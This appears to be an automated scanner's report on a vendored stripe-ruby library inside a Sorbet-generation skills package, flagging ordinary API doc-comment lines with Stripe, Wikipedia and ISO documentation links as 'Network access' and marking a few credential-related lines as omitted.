# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 712
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 791
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 826
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 922
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 107
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 188
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 190
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p - Network accessline 861
# The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 863
# The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 888
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1057
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1107
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1109
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1111
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1189
# Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 1232
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1266
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 1268
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1289
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1301
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1313
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1325
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1337
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1349
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1362
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1364
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1372
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1384
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1396
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1408
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1481
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 1483
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1503
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1538
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1662
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1719
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1768
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1780
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1793
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1795
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1803
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1816
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1818
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1826
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1838
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1917
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1952
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2048
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2105
# The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 12
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 92
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 141
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 153
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 166
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 168
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 176
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 189
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 191
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 199
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 211
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 302
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 337
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 12
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 86
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 135
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 147
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 160
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 162
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 170
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 183
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 185
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 193
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 205
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 296
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 331
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_token_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/accounts/person_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 12
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 92
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 141
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 153
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 166
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 168
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 176
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 189
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 191
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 199
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 211
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 302
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 337
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_disable_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_enable_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_ping_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_destination_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/event_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/webhook_endpoint_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/request_options.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/request_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/account.rb
- Executable scriptline 1
Executable file - Network accessline 7
# enabled to make live charges or receive payouts. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 8
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is `application`, which includes Custom accounts, the properties below are always - Network accessline 9
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 11
# returned. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 12
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is `stripe`, which includes Standard and Express accounts, some properties are on - Network accessline 13
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 14
# is `stripe`, which includes Standard and Express accounts, some properties are only returned # until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessio - Network accessline 15
# until you create an [Account Link](https://docs.stripe.com/api/account_links) or [Account Session](https://docs.stripe.com/api/account_sessions) - Network accessline 16
# to start Connect Onboarding. Learn about the [differences between accounts](https://docs.stripe.com/connect/accounts). - Network accessline 41
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 58
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 73
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 81
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 267
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 275
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 290
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 315
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 407
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file). - Network accessline 413
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. Note that `additional_verification` files are [not downloadable](/file-upload#uploading-a-file). - Network accessline 441
# Whether the company's directors have been provided. This Boolean will be `true` if you've manually indicated that all directors are provided via [the `directors_provided` parameter](https://docs.stripe.com/api/accounts/update#update_accou - Network accessline 445
# Whether the company's executives have been provided. This Boolean will be `true` if you've manually indicated that all executives are provided via [the `executives_provided` parameter](https://docs.stripe.com/api/accounts/update#update_ac - Network accessline 457
# Whether the company's owners have been provided. This Boolean will be `true` if you've manually indicated that all owners are provided via [the `owners_provided` parameter](https://docs.stripe.com/api/accounts/update#update_account-compan - Network accessline 461
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 469
# The category identifying the legal structure of the company or legal entity. Also available for accounts where [controller.requirement_collection](/api/accounts/object#account_object-controller-requirement_collection) is `stripe`. See [Bu - Network accessline 500
# A value indicating the responsible payer of a bundle of Stripe fees for pricing-control eligible products on this account. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-beha - Network accessline 539
# `true` if the Connect application retrieving the resource controls the account and can therefore exercise [platform controls](https://docs.stripe.com/connect/platform-controls-for-standard-accounts). Otherwise, this field is null. - Network accessline 618
# The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details. - Network accessline 668
# If the account is disabled, this enum describes why. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification). - Network accessline 705
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 707
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px. - Network accessline 788
# The timezone used in the Stripe Dashboard for this account. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). - Network accessline 818
# The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 820
# The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 822
# The Kana variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descri - Network accessline 824
# The Kanji variation of `statement_descriptor_prefix` used for card charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descr - Network accessline 991
# Three-letter ISO currency code representing the default currency for the account. This must be a currency that [Stripe supports in the account's country](https://stripe.com/docs/payouts). - Network accessline 1011
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1028
# With [Connect](https://docs.stripe.com/docs/connect), you can create Stripe accounts for your users. - Network accessline 1029
# To do this, you'll first need to [register your platform](https://dashboard.stripe.com/account/applications/settings). - Network accessline 1030
# # If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when # creating the account. Connect Onboarding won't ask fo - Network accessline 1031
# If you've already collected information for your connected accounts, you [can prefill that information](https://docs.stripe.com/docs/connect/best-practices#onboarding) when - Network accessline 1038
# With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage. - Network accessline 1040
# Test-mode accounts can be deleted at any time. # # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe - Network accessline 1041
# # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc - Network accessline 1042
# Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht - Network accessline 1044
# If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. - Network accessline 1054
# With [Connect](https://docs.stripe.com/connect), you can delete accounts you manage. - Network accessline 1056
# Test-mode accounts can be deleted at any time. # # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All othe - Network accessline 1057
# # Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balanc - Network accessline 1058
# Live-mode accounts that have access to the standard dashboard and Stripe is responsible for negative account balances cannot be deleted, which includes Standard accounts. All other Live-mode accounts, can be deleted when all [balances](ht - Network accessline 1060
# If you want to delete your own account, use the [account information tab in your account settings](https://dashboard.stripe.com/settings/account) instead. - Network accessline 1070
# Returns a list of accounts connected to your platform via [Connect](https://docs.stripe.com/docs/connect). If you're not a platform, the list is empty. - Network accessline 1095
# With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious. - Network accessline 1107
# With [Connect](https://docs.stripe.com/connect), you can reject accounts that you have flagged as suspicious. - Network accessline 1119
# Updates a [connected account](https://docs.stripe.com/connect/accounts) by setting the values of the parameters passed. Any parameters not provided are - Network accessline 1120
# left unchanged. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 1121
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is application, which includes Custom accounts, you can update any informatio - Network accessline 1122
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 1123
# is application, which includes Custom accounts, you can update any information on the account. # # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requir - Network accessline 1124
# # For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) # is stripe, which includes Standard and Express accounts, you can update all i - Network accessline 1125
# For accounts where [controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) - Network accessline 1126
# is stripe, which includes Standard and Express accounts, you can update all information until you create # an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connec - Network accessline 1127
# an [Account Link or <a href="/api/account_sessions">Account Session](https://docs.stripe.com/api/account_links) to start Connect onboarding, - Network accessline 1128
# after which some properties can no longer be updated. # # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 1129
# # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts - Network accessline 1130
# To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our - Network accessline 1131
# [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/account_link.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Stripe-hosted applications, such as Connect Onboarding. # # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding) - Network accessline 8
# Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/account_session.rb
- Executable scriptline 1
Executable file - Network accessline 9
# quickly, and cannot be used more than once. # # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components) - Network accessline 11
# Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components) - Network accessline 657
# The client secret can be used to provide access to `account` from your frontend. It should not be stored, logged, or exposed to anyone other than the connected account. Make sure that you have TLS enabled on any page that includes the cli - Network accessline 659
[Credential-related source omitted] - Access to secretsline 659
[Credential-related source omitted] - Access to secretsline 660
[Credential-related source omitted]
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/alipay_account.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/apple_pay_domain.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/application.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/application_fee.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/application_fee_refund.rb
- Executable scriptline 1
Executable file - Network accessline 7
# the Stripe account from which the fee was originally collected. # # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee) - Network accessline 9
# Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee) - Network accessline 24
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 30
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/apps/secret.rb
- Executable scriptline 1
Executable file - Network accessline 12
# A `user` scoped secret is accessible by the app backend and one specific Dashboard user. Use the `user` scope for per-user secrets like per-user OAuth tokens, where different users might have different permissions. # # Related gui - Network accessline 14
# Related guide: [Store data between page reloads](https://docs.stripe.com/stripe-apps/store-auth-data-custom-objects)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/balance.rb
- Executable scriptline 1
Executable file - Network accessline 8
# The top-level `available` and `pending` comprise your "payments balance." # # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/c - Network accessline 10
# Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/connect/account-balances) - Network accessline 19
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 21
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 23
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 36
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 52
# Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated). - Network accessline 54
# Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits). - Network accessline 56
# Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method. - Network accessline 69
